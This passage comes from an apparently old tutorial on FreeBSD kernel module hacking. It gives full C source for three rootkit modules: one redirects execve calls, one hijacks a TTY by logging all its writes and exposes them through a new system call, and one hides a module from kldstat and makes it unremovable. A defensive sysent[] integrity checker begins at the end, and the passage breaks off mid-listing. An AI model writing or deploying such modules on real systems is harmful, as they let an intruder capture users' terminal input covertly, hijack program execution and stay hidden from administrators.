3560   /*copy the new name to user space location*/
3561   copyout(&new_name, user_new_name, strlen(new_name));
3562   /*set the pointer kap.fname to the user space location*/
3563   kap.fname=oa.nsize-256;
3564   /*set the pointer kap.argv to the old uap entry in user space*/
3565   kap.argv=uap->argv;
3566   /*the same as above*/
3567   kap.envv=uap->envv;
3568   /*set the adress for the new execve_args structure in user space*/
3569   nap=(struct execve_args*)oa.nsize-4000;
3570   /*copy the kernel execve_args structure to the user space one*/
3571   copyout(&kap, nap, sizeof(struct execve_args));
3572   /*execute the new command with the same argv and envv values*/
3573   return execve(curproc, nap);
3574  }
3575  /*if we don't have our file, just continue*/ 
3576  return execve(p, uap);
3577 }
3578
3579 /*the hacked execve syscall*/
3580 static struct sysent hacked_execve_sysent = {
3581        3,       
3582        hacked_execve                    /* sy_call */
3583 };
3584
3585
3586
3587 /*
3588  * The function called at load/unload.
3589  */
3590 static int
3591 dummy_handler (struct module *module, int cmd, void *arg)
3592 {
3593  int error = 0;
3594  switch (cmd) {
3595   case MOD_LOAD :
3596    /*replace the execve syscall with our own*/
3597    sysent[SYS_execve]=hacked_execve_sysent;
3598   break;
3599   case MOD_UNLOAD :
3600    /*argument count has not changed, so we only need to restore the
3601    function pointer*/
3602    sysent[SYS_execve].sy_call=(sy_call_t*)execve;
3603   break;
3604   default :
3605    error = EINVAL;
3606   break;
3607  }
3608  return error;
3609 }
3610
3611                                          
3612         
3613 static moduledata_t syscall_mod = {
3614  "ExeRedirect", 
3615  dummy_handler,
3616  NULL
3617 };
3618
3619 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
3620 </xmp>
3621
3622 I had to reuse an execve system call, so I was forced to allocate some user
3623 space memory for the new args. This is why the module is a bit long.
3624
3625 <p>
3626 <H3><A NAME="II.5."></A>5. TTY hijacking</h3>
3627 <p>
3628 TTY hijacking has a long tradition, and though there may be lots of ways to do,
3629 kernel code is a quite nice solution. It was demonstrated on Linux boxes with
3630 LKM. Now it's time to show you how it works on BSD. <br>
3631 So take a look at my 10 minutes hack (don't expect good code) :
3632 <xmp>
3633 #include <sys/types.h>
3634 #include <sys/param.h>
3635 #include <sys/proc.h>
3636 #include <sys/module.h>
3637 #include <sys/sysent.h>
3638 #include <sys/kernel.h>
3639 #include <sys/systm.h>
3640 #include <sys/linker.h>
3641 #include <sys/sysproto.h>
3642 #include <sys/sysent.h>
3643 #include <sys/proc.h>
3644 #include <sys/syscall.h>
3645 #include <sys/file.h>
3646 #include <sys/malloc.h>
3647 #include <sys/types.h>
3648
3649 /*TTY we want to hijack*/
3650 #define MAJOR 12
3651 #define MINOR 2
3652
3653 /*buffer size to use (for TTY data)*/
3654 #define BUFSIZE 8192
3655
3656 /*global memory for saving all TTY inputs*/
3657 char *ttybuf;
3658
3659 /*global counter to implement some (bad) kind of ring buffer*/
3660 int globalcounter=0;
3661
3662 MALLOC_DEFINE(M_BUF, "buf", "buf");
3663
3664
3665 /*structure for system call to retrieve the TTYbuf data*/
3666 static struct get_tty_args {
3667  char *buf;
3668 };
3669
3670 /*I packed some structures into this module, to make things clearer.*/
3671 struct specinfo {
3672         struct  vnode **si_hashchain;
3673         struct  vnode *si_specnext;
3674         struct  mount *si_mountpoint;
3675         dev_t           si_rdev;
3676         unsigned long   si_blksize; 
3677 };
3678
3679
3680 /*stuff needed for vnode structure*/
3681 typedef int     vop_t __P((void *));
3682 enum vtype      { VNON, VREG, VDIR, VBLK, VCHR, VLNK, VSOCK, VFIFO, VBAD };
3683 TAILQ_HEAD(buflists, buf);
3684
3685
3686 /*non-complete vnode structure, we only need the device parts.*/
3687 struct vnode {
3688         u_long  v_flag;                         /* vnode flags (see below) */
3689         int     v_usecount;                     /* reference count of users */
3690         int     v_writecount;                   /* reference count of writers */
3691         int     v_holdcnt;                      /* page & buffer references */
3692         daddr_t v_lastr;                        /* last read (read-ahead) */
3693         u_long  v_id;                           /* capability identifier */
3694         struct  mount *v_mount;                 /* ptr to vfs we are in */
3695         vop_t   **v_op;                         /* vnode operations vector */
3696         TAILQ_ENTRY(vnode) v_freelist;          /* vnode freelist */
3697         LIST_ENTRY(vnode) v_mntvnodes;          /* vnodes for mount point */
3698         struct  buflists v_cleanblkhd;          /* clean blocklist head */
3699         struct  buflists v_dirtyblkhd;          /* dirty blocklist head */
3700         LIST_ENTRY(vnode) v_synclist;           /* vnodes with dirty buffers */
3701         long    v_numoutput;                    /* num of writes in progress */
3702         enum    vtype v_type;                   /* vnode type */
3703         union {
3704                 struct mount    *vu_mountedhere;/* ptr to mounted vfs (VDIR) */
3705                 struct socket   *vu_socket;     /* unix ipc (VSOCK) */
3706                 struct specinfo *vu_specinfo;   /* device (VCHR, VBLK) */
3707                 struct fifoinfo *vu_fifoinfo;   /* fifo (VFIFO) */
3708         } v_un;
3709        /*....*/ 
3710 };
3711
3712
3713 /*the shortest systemcall I ever saw, but (again) everything is working*/
3714 static 
3715 void get_tty(struct proc *p, struct get_tty_args *uap)
3716 {
3717  copyout(ttybuf, uap->buf, BUFSIZE);
3718 }
3719
3720 /*the hacked write syscall*/
3721 static 
3722 int hacked_write(struct proc *p, struct write_args *uap)
3723 {
3724  /*we will examine the vnode of the file it is read from*/
3725  struct vnode *vn;
3726  /*we have to check the device for our TTY*/
3727  dev_t device;
3728
3729  /*get the vnode*/
3730  vn=(struct vnode*)curproc->p_fd->fd_ofiles[uap->fd]->f_data;
3731  
3732  /*do we have a character device?*/
3733  if (vn->v_type==VCHR)
3734  {
3735   /*if so get the device*/
3736   device=vn->v_un.vu_specinfo->si_rdev;
3737   /*check for MAJOR and MINOR codes*/
3738   if ((major(device)==MAJOR) && (minor(device)==MINOR))
3739   { 
3740    /*arghh, this is no nice solution. Computer Science students should
3741      correct this bad ring buffer implementation*/
3742     if ((globalcounter+uap->nbyte)>BUFSIZE) globalcounter=0;
3743    /*again no nice coding, just call me Mr. Lazy ;)*/ 
3744     if (uap->nbyte<BUFSIZE)
3745      copyin(uap->buf, ttybuf+globalcounter, uap->nbyte);   
3746     globalcounter+=uap->nbyte;
3747   }
3748  }
3749  return write(p, uap);
3750 }
3751
3752 /*the hacked open syscall*/
3753 static struct sysent hacked_write_sysent = {
3754        3,       
3755        hacked_write                     /* sy_call */
3756 };
3757
3758 /*our own system call for bringing the kernel buffer to user space*/
3759 static struct sysent get_tty_sysent = {
3760        1,       
3761        get_tty                  /* sy_call */
3762 };
3763
3764
3765 static int
3766 dummy_handler (struct module *module, int cmd, void *arg)
3767 {
3768  int error = 0;
3769  switch (cmd) {
3770   case MOD_LOAD :
3771    /*allocate memory. Bear in mind that M_NOWAIT is always a bit critical!*/
3772    MALLOC(ttybuf, char*, BUFSIZE, M_BUF, M_NOWAIT);
3773    /*replace the execve syscall with our own*/
3774    sysent[SYS_write]=hacked_write_sysent;
3775    /*again we use slot 210*/
3776    sysent[210]=get_tty_sysent;
3777   break;
3778   case MOD_UNLOAD :
3779    /*free buffer*/
3780    FREE(ttybuf, M_BUF);
3781    /*argument count has not changed, so we only need to restore the
3782    function pointer*/
3783    sysent[SYS_write].sy_call=(sy_call_t*)write;
3784   break;
3785   default :
3786    error = EINVAL;
3787   break;
3788  }
3789  return error;
3790 }
3791                                                    
3792         
3793 static moduledata_t syscall_mod = {
3794  "TTYhijack", 
3795  dummy_handler,
3796  NULL
3797 };
3798
3799 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
3800 </xmp>
3801
3802 For any explainations read my Linux LKM text :). TTY hijacking is realized by
3803 intercepting every write system call and checking the vnode for the correct
3804 device codes (specified through major and minor).<br>
3805 The following little program represents the user space part, getting the 
3806 data.
3807 <xmp>
3808 #include <stdio.h>
3809 #include <sys/syscall.h>
3810 #include <sys/types.h>
3811 #include <sys/module.h>
3812
3813 struct get_tty_args {
3814  char *buf;
3815 };
3816
3817 int
3818 main(int argc, char **argv)
3819 {
3820  /*maybe you have to adjust the size value (see BUFSIZE in module)*/
3821  char *buf=(char*)malloc(8192);
3822  struct get_tty_args uap;
3823  int counter;
3824
3825  uap.buf=buf;
3826  syscall (210, uap);
3827  /*I used this way of printing, maybe it would be a better job to handle some
3828    command codes (old plain ASCII)*/
3829  for (counter=0; counter<=8192; counter++)
3830   printf("%c", buf[counter]);
3831 }
3832 </xmp>
3833 Ok, start the module with desired device codes. Wait some time, and start user
3834 space program...<br>
3835 The first big Linux TTY hijacking LKM used a device to manage the TTY buffer.
3836 Of course, this would also work on FreeBSD, but I hadn't got the time, so
3837 I just installed a system call.
3838
3839 <p>
3840 <H3><A NAME="II.6."></A>6. Hiding the module</h3>
3841 <p>
3842 [Note : LKM hiding under FreeBSD 2.x systems was done before, KLD hiding for
3843 3.x systems is new, so read & learn.]<br>
3844 Now it's time to discuss hiding of our module. First of all we have to think
3845 about what to hide.<br>
3846 As I explained above there is a big difference between a link file and a
3847 module. Commands like 'kldstat' will give you a listing of loaded linkfiles,
3848 but there is no command to get a list of all loaded modules. 
3849 So guess where kldstat gets the listing from. It's just the linker file list 
3850 'files'. Now it's quite easy to hide this module and make it unremovable. Just
3851 delete the desired entry from the files list, and everything is fine. There are
3852 no problems with doing this (like there were with the proc lists). I have to
3853 admit that I only analyzed 40 % of the whole kernel code (I will continue) so
3854 I also implemented module hiding perhaps there is a place in the kernel we
3855 need it. So let's take a look at my implementation :
3856
3857 <xmp>
3858 /*FEATURES :
3859   - manipulate linker files list
3860   - manipulate moodules list
3861   - manipulate first linker file entry
3862   - manipulate global linker file ID coutner
3863   - manipulate global modules ID counter
3864 */
3865
3866 #include <sys/types.h>
3867 #include <sys/param.h>
3868 #include <sys/proc.h>
3869 #include <sys/module.h>
3870 #include <sys/sysent.h>
3871 #include <sys/kernel.h>
3872 #include <sys/systm.h>
3873 #include <sys/linker.h>
3874 #include <sys/sysproto.h>
3875 #include <sys/sysent.h>
3876 #include <sys/proc.h>
3877 #include <sys/syscall.h>
3878 #include <sys/file.h>
3879 #include <sys/malloc.h>
3880 #include <sys/types.h>
3881 #include <sys/lock.h>
3882
3883
3884 typedef TAILQ_HEAD(, module) modulelist_t;
3885
3886
3887 extern struct lock lock;
3888 /*we have to patch the files list*/
3889 extern linker_file_list_t files;
3890 extern int next_file_id;
3891 /*we have to patch the modules list*/
3892 extern modulelist_t modules;
3893 extern  int nextid;
3894
3895
3896 struct module {
3897  TAILQ_ENTRY(module) link;
3898  TAILQ_ENTRY(module) flink;
3899  struct linker_file *file;
3900  int refs;
3901  int id;
3902  char *name;
3903  modeventhand_t handler;
3904  void *arg;
3905  modspecific_t data;
3906 };
3907
3908 char string[]="Hello Word";
3909
3910 /*this is just to show that extern functions also work*/
3911 static
3912 void do_a_print()
3913 {
3914  printf("IT WORKS : %s\n", string);
3915 }
3916
3917 /*The syscall *TODO* function*/
3918 /*This function is not necessary, because we just want to hide a module. We
3919 only need it for checking, that our module is still working.*/
3920 static int
3921 hello (struct proc *p, void *arg)
3922 {
3923  printf ("SYSCALL was ESTABLISHED and is still in memory \n");
3924
3925  do_a_print();
3926  return 0;
3927 }
3928
3929 /*
3930  * The `sysent' for the new syscall
3931  */
3932 static struct sysent hello_sysent = {
3933         0,                      /* sy_narg */
3934         hello                   /* sy_call */
3935 };
3936
3937 /*
3938  * The offset in sysent where the syscall is allocated.
3939  */
3940 /*NO_SYSCALL stands for 'let the kernel choose the syscall number'*/
3941 static int offset = 210;
3942
3943 /*
3944  * The function called at load/unload.
3945  */
3946 static int
3947 load (struct module *module, int cmd, void *arg)
3948
3949 {
3950  linker_file_t lf=0;
3951
3952  module_t mod=0;
3953
3954
3955  lockmgr(&lock, LK_SHARED, 0, curproc);
3956
3957  /*NOTE : The first linker file is the current kernel image (/kernel for
3958           example). If we load our module we will increase the reference cound
3959           of the kernel link file, this might be a bit suspect, so we must
3960           patch this.*/
3961
3962   (&files)->tqh_first->refs--;
3963   for (lf=(&files)->tqh_first; lf; lf=(lf)->link.tqe_next) {
3964
3965   if (!strcmp(lf->filename, "hide.ko"))
3966   {
3967    /*first let's decrement the global link file counter*/
3968    next_file_id--;
3969    /*now let's remove the entry*/
3970    if (((lf)->link.tqe_next)!=NULL)
3971
3972      (lf)->link.tqe_next->link.tqe_prev=(lf)->link.tqe_prev;
3973     else
3974      (&files)->tqh_last=(lf)->link.tqe_prev;
3975     *(lf)->link.tqe_prev=(lf)->link.tqe_next;
3976  
3977    break;    
3978   } 
3979  }
3980  lockmgr(&lock, LK_RELEASE, 0, curproc);
3981
3982  for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link)) {
3983   if(!strcmp(mod->name, "mysys"))
3984   {
3985    /*first let's patch the internal ID counter*/
3986     nextid--;
3987
3988    TAILQ_REMOVE(&modules, mod, link);
3989   }
3990  }
3991  return 0;
3992 }
3993
3994 /*start everything*/
3995 /*This function only sets the field of X_module_data, where X stands for the
3996 kind of module; here SYSCALL_...*/
3997 SYSCALL_MODULE(mysys, &offset, &hello_sysent, load, NULL);
3998 </xmp> 
3999 Load this module via kldload and wonder ;). You won't see anything. Even
4000 loading another module will seem totally normal, because the ID field is only
4001 incremented by 1 due to our modifications. After adding this hiding feature
4002 any module is also unremovable and neary undetectable.
4003
4004 <p>
4005 <H3><A NAME="II.7."></A>7. Last Words</h3>
4006 <p>
4007 As I said in my introduction this part only showed those hacks that
4008 needed a total re-implementation on BSD compared to the Linux ones. Every other
4009 hack I presented in my Linux text, should also work; but it's too trivial to
4010 explain this here.<br>
4011 Of course, it's also possible to write some kind of FreeBSD virus. Perhaps I
4012 will work on this, but it's quite easy.
4013
4014 <p>
4015 <H3><A NAME="III."></A>III. Securing the kernel</h3>
4016 <p>
4017 This part will only show you how to avoid some problems (not all) you as
4018 administrator could have with 'hacker' modules playing havoc with your system
4019 call table. My Linux text showed many ways how to fight against hostile modules
4020 with the help of some protection LKMs. I won't repeat those ideas. You can use
4021 all those modules on FreeBSD too, you only have to change the code a bit. This
4022 is why this part is quite short; I only describe some new ideas.
4023
4024 <p>
4025 <H3><A NAME="III.1."></A>1. How to detect sysent[] modifications</h3>
4026 <p>
4027 Those of you common with kernel hacking know that nearly every module that
4028 does something useful for a hacker must modify the kernel system call table.
4029 [Note : As I said in my introduction there are lots of ways to attack FreeBSD
4030 without patching the system call table, but ... wait for a further release of
4031 this text :)]  Those changes are needed to intercept and manipulate system
4032 calls. Of course there may also be some non-hacking modules that will change
4033 the global system call table (add a system call or so), but normally those
4034 driver modules (for example) don't change existing system calls. So we should
4035 implement some piece of code checking every system call entry on a system that
4036 is defined during startup for suspicious changes.
4037 <xmp>
4038 #include <sys/types.h>
4039 #include <sys/param.h>
4040 #include <sys/proc.h>
4041 #include <sys/module.h>
4042 #include <sys/sysent.h>
4043 #include <sys/kernel.h>
4044 #include <sys/systm.h>
4045 #include <sys/linker.h>
4046 #include <sys/sysproto.h>
4047 #include <sys/sysent.h>
4048 #include <sys/proc.h>
4049 #include <sys/syscall.h>
4050 #include <sys/file.h>
4051 #include <sys/malloc.h>
4052 #include <sys/types.h>
4053 #include <sys/lock.h>
4054
4055
4056 /*
4057  * The function called at load/unload.
4058  */
4059 static int
4060 dummy_handler (struct module *module, int cmd, void *arg)
4061 {
4062  char error[400];
4063  int counter;
4064
4065  bzero(&error, sizeof(error)); 
4066
4067  /*this is hard cut & paste coding :-)*/
4068  if (sysent[SYS_exit].sy_call!=exit) error[SYS_exit]=1;
4069  if (sysent[SYS_fork].sy_call!=fork) error[SYS_fork]=1;
4070  if (sysent[SYS_read].sy_call!=read) error[SYS_read]=1;
4071  if (sysent[SYS_write].sy_call!=write) error[SYS_write]=1;
4072  if (sysent[SYS_open].sy_call!=open) error[SYS_open]=1;
4073  if (sysent[SYS_close].sy_call!=close) error[SYS_close]=1;
4074  if (sysent[SYS_wait4].sy_call!=wait4) error[SYS_wait4]=1;
4075  if (sysent[SYS_link].sy_call!=link) error[SYS_link]=1;
4076  if (sysent[SYS_unlink].sy_call!=unlink) error[SYS_unlink]=1;
4077  if (sysent[SYS_chdir].sy_call!=chdir) error[SYS_chdir]=1; 
4078  if (sysent[SYS_fchdir].sy_call!=fchdir) error[SYS_fchdir]=1;
4079  if (sysent[SYS_mknod].sy_call!=mknod) error[SYS_mknod]=1;
4080  if (sysent[SYS_chmod].sy_call!=chmod) error[SYS_chmod]=1;
4081  if (sysent[SYS_chown].sy_call!=chown) error[SYS_chown]=1;
4082  if (sysent[SYS_break].sy_call!=obreak) error[SYS_break]=1;
4083  if (sysent[SYS_getfsstat].sy_call!=getfsstat) error[SYS_getfsstat]=1;
4084  if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
4085  if (sysent[SYS_getpid].sy_call!=getpid) error[SYS_getpid]=1;
4086  if (sysent[SYS_mount].sy_call!=mount) error[SYS_mount]=1;
4087  if (sysent[SYS_unmount].sy_call!=unmount) error[SYS_unmount]=1;
4088  if (sysent[SYS_setuid].sy_call!=setuid) error[SYS_setuid]=1; 
4089  if (sysent[SYS_getuid].sy_call!=getuid) error[SYS_getuid]=1;
4090  if (sysent[SYS_geteuid].sy_call!=geteuid) error[SYS_geteuid]=1;
4091  if (sysent[SYS_ptrace].sy_call!=ptrace) error[SYS_ptrace]=1;
4092  if (sysent[SYS_recvmsg].sy_call!=recvmsg) error[SYS_recvmsg]=1;
4093  if (sysent[SYS_sendmsg].sy_call!=sendmsg) error[SYS_sendmsg]=1;
4094  if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
4095  if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
4096  if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
4097  if (sysent[SYS_getsockname].sy_call!=getsockname) error[SYS_getsockname]=1;
4098  if (sysent[SYS_access].sy_call!=access) error[SYS_access]=1;
4099  if (sysent[SYS_chflags].sy_call!=chflags) error[SYS_chflags]=1; 
4100  if (sysent[SYS_fchflags].sy_call!=fchflags) error[SYS_fchflags]=1;
4101  if (sysent[SYS_sync].sy_call!=sync) error[SYS_sync]=1;
4102  if (sysent[SYS_kill].sy_call!=kill) error[SYS_kill]=1;
4103  if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
4104  if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
4105  if (sysent[SYS_dup].sy_call!=dup) error[SYS_dup]=1;
4106  if (sysent[SYS_pipe].sy_call!=pipe) error[SYS_pipe]=1;
4107  if (sysent[SYS_getegid].sy_call!=getegid) error[SYS_getegid]=1;
4108  if (sysent[SYS_profil].sy_call!=profil) error[SYS_profil]=1;
4109  if (sysent[SYS_ktrace].sy_call!=ktrace) error[SYS_ktrace]=1;
4110  if (sysent[SYS_sigaction].sy_call!=sigaction) error[SYS_sigaction]=1; 
4111  if (sysent[SYS_getgid].sy_call!=getgid) error[SYS_getgid]=1;
4112  if (sysent[SYS_sigprocmask].sy_call!=sigprocmask) error[SYS_sigprocmask]=1;
4113  if (sysent[SYS_getlogin].sy_call!=getlogin) error[SYS_getlogin]=1;
4114  if (sysent[SYS_setlogin].sy_call!=setlogin) error[SYS_setlogin]=1;
4115  if (sysent[SYS_acct].sy_call!=acct) error[SYS_acct]=1;
4116  if (sysent[SYS_sigpending].sy_call!=sigpending) error[SYS_sigpending]=1;
4117  if (sysent[SYS_sigaltstack].sy_call!=sigaltstack) error[SYS_sigaltstack]=1;
4118  if (sysent[SYS_ioctl].sy_call!=ioctl) error[SYS_ioctl]=1;
4119  if (sysent[SYS_reboot].sy_call!=reboot) error[SYS_reboot]=1;
4120  if (sysent[SYS_revoke].sy_call!=revoke) error[SYS_revoke]=1;
4121  if (sysent[SYS_symlink].sy_call!=symlink) error[SYS_symlink]=1; 
4122  if (sysent[SYS_readlink].sy_call!=readlink) error[SYS_readlink]=1;
4123  if (sysent[SYS_execve].sy_call!=execve) error[SYS_execve]=1;
4124  if (sysent[SYS_umask].sy_call!=umask) error[SYS_umask]=1;
4125  if (sysent[SYS_chroot].sy_call!=chroot) error[SYS_chroot]=1;
4126  if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
4127  if (sysent[SYS_msync].sy_call!=msync) error[SYS_msync]=1;
4128  if (sysent[SYS_vfork].sy_call!=vfork) error[SYS_vfork]=1;
4129  if (sysent[SYS_sbrk].sy_call!=sbrk) error[SYS_sbrk]=1;
4130  if (sysent[SYS_sstk].sy_call!=sstk) error[SYS_sstk]=1;
4131  if (sysent[SYS_vadvise].sy_call!=ovadvise) error[SYS_vadvise]=1;
4132  if (sysent[SYS_munmap].sy_call!=munmap) error[SYS_munmap]=1;
4133  if (sysent[SYS_mprotect].sy_call!=mprotect) error[SYS_mprotect]=1;
4134  if (sysent[SYS_madvise].sy_call!=madvise) error[SYS_madvise]=1;
4135  if (sysent[SYS_mincore].sy_call!=mincore) error[SYS_mincore]=1;
4136  if (sysent[SYS_getgroups].sy_call!=getgroups) error[SYS_getgroups]=1;
4137  if (sysent[SYS_setgroups].sy_call!=setgroups) error[SYS_setgroups]=1;
4138  if (sysent[SYS_getpgrp].sy_call!=getpgrp) error[SYS_getpgrp]=1;
4139  if (sysent[SYS_setpgid].sy_call!=setpgid) error[SYS_setpgid]=1;
4140  if (sysent[SYS_setitimer].sy_call!=setitimer) error[SYS_setitimer]=1;
4141  if (sysent[SYS_swapon].sy_call!=swapon) error[SYS_swapon]=1;
4142  if (sysent[SYS_getitimer].sy_call!=getitimer) error[SYS_getitimer]=1;
4143  if (sysent[SYS_getdtablesize].sy_call!=getdtablesize)
4144      error[SYS_getdtablesize]=1;  
4145   if (sysent[SYS_dup2].sy_call!=dup2) error[SYS_dup2]=1;
4146  if (sysent[SYS_fcntl].sy_call!=fcntl) error[SYS_fcntl]=1;
4147  if (sysent[SYS_select].sy_call!=select) error[SYS_select]=1;
4148  if (sysent[SYS_fsync].sy_call!=fsync) error[SYS_fsync]=1;
4149  if (sysent[SYS_setpriority].sy_call!=setpriority) error[SYS_setpriority]=1;
4150  if (sysent[SYS_socket].sy_call!=socket) error[SYS_socket]=1;
4151  if (sysent[SYS_connect].sy_call!=connect) error[SYS_connect]=1;
4152  if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
4153  if (sysent[SYS_getpriority].sy_call!=getpriority) error[SYS_getpriority]=1;
4154  if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
4155  if (sysent[SYS_bind].sy_call!=bind) error[SYS_bind]=1;
4156  if (sysent[SYS_setsockopt].sy_call!=setsockopt) error[SYS_setsockopt]=1;
4157  if (sysent[SYS_listen].sy_call!=listen) error[SYS_listen]=1;
4158  if (sysent[SYS_gettimeofday].sy_call!=gettimeofday) error[SYS_gettimeofday]=1;
4159  if (sysent[SYS_getrusage].sy_call!=getrusage) error[SYS_getrusage]=1;
4160  if (sysent[SYS_getsockopt].sy_call!=getsockopt) error[SYS_getsockopt]=1;
4161  if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
4162  if (sysent[SYS_readv].sy_call!=readv) error[SYS_readv]=1;
4163  if (sysent[SYS_writev].sy_call!=writev) error[SYS_writev]=1;
4164  if (sysent[SYS_settimeofday].sy_call!=settimeofday) error[SYS_settimeofday]=1;
4165  if (sysent[SYS_fchown].sy_call!=fchown) error[SYS_fchown]=1;
4166  if (sysent[SYS_fchmod].sy_call!=fchmod) error[SYS_fchmod]=1;
4167  if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
4168  if (sysent[SYS_setreuid].sy_call!=setreuid) error[SYS_setreuid]=1;
4169  if (sysent[SYS_setregid].sy_call!=setregid) error[SYS_setregid]=1;
4170  if (sysent[SYS_rename].sy_call!=rename) error[SYS_rename]=1; 
4171  if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
4172  if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
4173  if (sysent[SYS_flock].sy_call!=flock) error[SYS_flock]=1;
4174  if (sysent[SYS_mkfifo].sy_call!=mkfifo) error[SYS_mkfifo]=1;
4175  if (sysent[SYS_sendto].sy_call!=sendto) error[SYS_sendto]=1;
4176  if (sysent[SYS_shutdown].sy_call!=shutdown) error[SYS_shutdown]=1;
4177  if (sysent[SYS_socketpair].sy_call!=socketpair) error[SYS_socketpair]=1;
4178  if (sysent[SYS_mkdir].sy_call!=mkdir) error[SYS_mkdir]=1;
4179  if (sysent[SYS_rmdir].sy_call!=rmdir) error[SYS_rmdir]=1;
4180  if (sysent[SYS_utimes].sy_call!=utimes) error[SYS_utimes]=1;
4181  if (sysent[SYS_adjtime].sy_call!=adjtime) error[SYS_adjtime]=1;
4182  if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
4183  if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
4184  if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
4185  if (sysent[SYS_quotactl].sy_call!=quotactl) error[SYS_quotactl]=1;
4186  if (sysent[SYS_statfs].sy_call!=statfs) error[SYS_statfs]=1;
4187  if (sysent[SYS_fstatfs].sy_call!=fstatfs) error[SYS_fstatfs]=1;
4188  if (sysent[SYS_getdomainname].sy_call!=getdomainname)
4189      error[SYS_getdomainname]=1;  
4190  if (sysent[SYS_setdomainname].sy_call!=setdomainname)
4191      error[SYS_setdomainname]=1;  
4192  if (sysent[SYS_uname].sy_call!=uname) error[SYS_uname]=1;  
4193  if (sysent[SYS_sysarch].sy_call!=sysarch) error[SYS_sysarch]=1;   
4194  if (sysent[SYS_rtprio].sy_call!=rtprio) error[SYS_rtprio]=1;  
4195  if (sysent[SYS_semsys].sy_call!=semsys) error[SYS_semsys]=1;  
4196  if (sysent[SYS_msgsys].sy_call!=msgsys) error[SYS_msgsys]=1;  
4197  if (sysent[SYS_shmsys].sy_call!=shmsys) error[SYS_shmsys]=1;  
4198  if (sysent[SYS_setgid].sy_call!=setgid) error[SYS_setgid]=1;  
4199  if (sysent[SYS_setegid].sy_call!=setegid) error[SYS_setegid]=1;  
4200  if (sysent[SYS_seteuid].sy_call!=seteuid) error[SYS_seteuid]=1;  
4201  if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;  
4202  if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;  
4203  if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;  
4204  if (sysent[SYS_pathconf].sy_call!=pathconf) error[SYS_pathconf]=1;  
4205  if (sysent[SYS_fpathconf].sy_call!=fpathconf) error[SYS_fpathconf]=1;  
4206  if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;  
4207  if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;  
4208  if (sysent[SYS_getdirentries].sy_call!=getdirentries) 
4209     error[SYS_getdirentries]=1; 
4210  if (sysent[SYS_mmap].sy_call!=mmap) error[SYS_mmap]=1;  
4211  if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;  
4212  if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;  
4213  if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;  
4214  if (sysent[SYS___sysctl].sy_call!=__sysctl) error[SYS___sysctl]=1;  
4215  if (sysent[SYS_mlock].sy_call!=mlock) error[SYS_mlock]=1;  
4216  if (sysent[SYS_munlock].sy_call!=munlock) error[SYS_munlock]=1;  
4217  if (sysent[SYS_undelete].sy_call!=undelete) error[SYS_undelete]=1;  
4218  if (sysent[SYS_futimes].sy_call!=futimes) error[SYS_futimes]=1;  
4219  if (sysent[SYS_getpgid].sy_call!=getpgid) error[SYS_getpgid]=1;  
4220  if (sysent[SYS_poll].sy_call!=poll) error[SYS_poll]=1;  
4221  if (sysent[SYS___semctl].sy_call!=__semctl) error[SYS___semctl]=1;  
4222  if (sysent[SYS_semget].sy_call!=semget) error[SYS_semget]=1;  
4223  if (sysent[SYS_semop].sy_call!=semop) error[SYS_semop]=1;  
4224  if (sysent[SYS_semconfig].sy_call!=semconfig) error[SYS_semconfig]=1;  
4225  if (sysent[SYS_msgctl].sy_call!=msgctl) error[SYS_msgctl]=1;  
4226  if (sysent[SYS_msgsnd].sy_call!=msgsnd) error[SYS_msgsnd]=1; 
4227  if (sysent[SYS_msgrcv].sy_call!=msgrcv) error[SYS_msgrcv]=1;  
4228  if (sysent[SYS_shmat].sy_call!=shmat) error[SYS_shmat]=1;  
4229  if (sysent[SYS_shmctl].sy_call!=shmctl) error[SYS_shmctl]=1;  
4230  if (sysent[SYS_shmdt].sy_call!=shmdt) error[SYS_shmdt]=1;  
4231  if (sysent[SYS_shmget].sy_call!=shmget) error[SYS_shmget]=1;  
4232  if (sysent[SYS_clock_gettime].sy_call!=clock_gettime) 
4233      error[SYS_clock_gettime]=1; 
4234  if (sysent[SYS_clock_settime].sy_call!=clock_settime) 
4235     error[SYS_clock_settime]=1;
4236  if (sysent[SYS_clock_getres].sy_call!=clock_getres) 
4237     error[SYS_clock_getres]=1; 
4238  if (sysent[SYS_nanosleep].sy_call!=nanosleep) error[SYS_nanosleep]=1;  
4239  if (sysent[SYS_minherit].sy_call!=minherit) error[SYS_minherit]=1;  
4240  if (sysent[SYS_rfork].sy_call!=rfork) error[SYS_rfork]=1;  
4241  if (sysent[SYS_openbsd_poll].sy_call!=openbsd_poll) 
4242     error[SYS_openbsd_poll]=1;  
4243  if (sysent[SYS_issetugid].sy_call!=issetugid) 
4244    error[SYS_issetugid]=1;  
